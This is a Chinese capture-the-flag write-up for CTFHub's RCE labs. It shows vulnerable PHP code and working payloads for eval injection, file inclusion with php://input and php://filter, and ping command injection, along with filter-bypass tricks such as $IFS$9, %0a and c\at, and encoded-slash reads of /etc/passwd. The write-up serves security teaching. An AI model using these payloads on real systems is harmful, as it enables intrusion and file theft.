CTFHub-RCE漏洞wp

引言

题目共有如下类型

什么是RCE漏洞

RCE漏洞,全称是 Remote Code Execution 漏洞,翻译成中文就是 远程代码执行 漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码:

复制代码
 <?php
if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
    eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
} else {
    highlight_file(__FILE__);
}
?> 

执行命令查看当前目录

复制代码
?cmd=system("ls");

查看根目录或者上级目录一个一个查找

复制代码
?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

cat /flag_8751 即可

文件包含

文件包含

源码审计

复制代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {                          //检查是否存在file参数且不为空
    if (!strpos($_GET["file"], "flag")) {            //过滤flag字符串
        include $_GET["file"];                       
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
  
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?   //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>

利用文件包含读取 shell.txt

先了解一下 ** R E Q U E S T ∗ ∗ 函数,是 P H P 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说, ' _REQUEST** 函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,` REQUEST∗∗函数,是PHP中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,'_REQUEST` 变量包含了通过 GET 、 POST 和 COOKIE 方法传递的数据 ,所以可以利用 POST或cookie 传入 ctfhub 变量

查看 根目录

查找 flag

php://input

源码分析

复制代码
<?php
if (isset($_GET['file'])) {                                //检查是否存在file参数
    if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ,是则执行
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看 phpinfo.php 文件,发现此处

抓包 构造命令执行 ,因为有 php://input ,故会执行传入的 php代码

查看 flag

这里也可以利用 php伪协议 ,会得到一串 base64加密的flag ,解密即可

或者:

读取源代码

源码审计

复制代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {    //检查file参数是否以 php:// 开头
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);                            //代码高亮,显示源码
}
?>

i don't have shell, how to get flag? 
flag in <code>/flag</code>                             //flag在根目录

php伪协议 读取flag

复制代码
?file=php://filter/read=/resource=/flag

远程包含

源码审计

复制代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {      //过滤flag字符串
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

给了一个 phpinfo() 界面,根据题目提示,还是文件包含题,抓包利用 php;//input 读取

查看 根目录

读取 flag

命令注入

  • 这里需要了解一下常见的命令分隔符

  • ; : 无论前面是否执行,后面都执行

  • ||(逻辑或): 前命令失败执行后命令,如果前命令成功则不执行后命令

  • | : 前者结果作为后者参数使用

  • **& & :**前命令成功执行后命令,如果失败则不执行后命令

  • \n: 换行符,url编码%0a

  • %0a (换行)

  • %0d (回车)

无过滤

没有做任何过滤

先 ping 一下

查看 该目录 ,使用 127.0.0.1; ls 也是可以的

查看 26398804916519.php

复制代码
127.0.0.1 | cat 26398804916519.php

发现 flag

过滤cat

查看源码:

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {   
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {           //过滤了cat字符串
        $cmd = "ping -c 4 {$ip}";                //windows默认ping4次,Linux不设置次数会一直ping
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail 等

nl 查看,得到 flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为 两个字符串 ,则绕过cat过滤

过滤空格

查看源码

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {                 //只过滤了空格
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法

复制代码
$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

复制代码
127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符

几种常见的 / 符号绕过方法

复制代码
改变工作目录:cd xxx   避免使用 / 符号
环境变量截取: ${PATH:0:1}   ${HOME:0:1}
编码绕过:8进制: $(printf "\57")    16进制: $'\x2f'      $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd     cat  `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd            //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*'); 

提示:

源码

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

查看当前目录

进入该目录并查看

执行以下命令读取flag文件

复制代码
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

过滤运算符

查看源码,可以利用 ; 绕过

复制代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 & 
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

查看当前目录

执行以下命令

复制代码
127.0.0.1;cat flag_4351260182213.php

得到flag

综合过滤练习

源码审计

复制代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤了 | & ; 空格 / cat flag ctfhub
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

利用换行符 %0a绕过 查看当前目录

查看根目录,没有有用信息,flag应该存在 flag_is_here 目录下

执行以下命令

复制代码
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als         //flag被过滤,需要绕过

查看该flag

复制代码
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php  //绕过cat
相关推荐
骑着蜗牛撵大象3274 小时前
大模型 Agent 的沙箱护栏:gVisor 隔离、出口白名单与审计闭环
java·开发语言·jvm·安全·agent沙箱·gvisor·microvm
Sinokap5 小时前
OpenAI 披露 AI 安全实验:智能体如何突破隔离边界?
人工智能·安全
重生之我在番茄自学网安拯救世界6 小时前
AI 开发者日报 第1期(本周精选)| 插件市场投毒、智能体搞出“官僚饥荒村”,十年前的 CNN 打赢大模型
人工智能·网络安全·大模型·ai编程·智能体
是真的小外套6 小时前
网络安全实战第14期:Week2周末闯关
网络·安全·web安全
传奇开心果编程7 小时前
【Jetpack Compose娓娓道来】第29课:状态容器与UI事件建模——把“散装状态”变成“可穷举的契约”
android·kotlin·移动开发·android jetpack·ui框架·开发范式·声明式ui
五彩小白8 小时前
喵呜打卡项目总结
android·团队开发
古法安卓10 小时前
Android-GPU压测工具
android·java·android studio
Alsn8611 小时前
frp内网穿透实操(Kali NAT 环境 · 附原理说明)
安全
xcLeigh11 小时前
KingbaseES数据库教程:初识数据库,从安装到跑通第一条SQL
android·数据库·sql·安装·数据库教程·kes
MaAidan11 小时前
AI 交付前的质量门禁:复杂度、分层、安全配置、测试,一个都不能少
人工智能·安全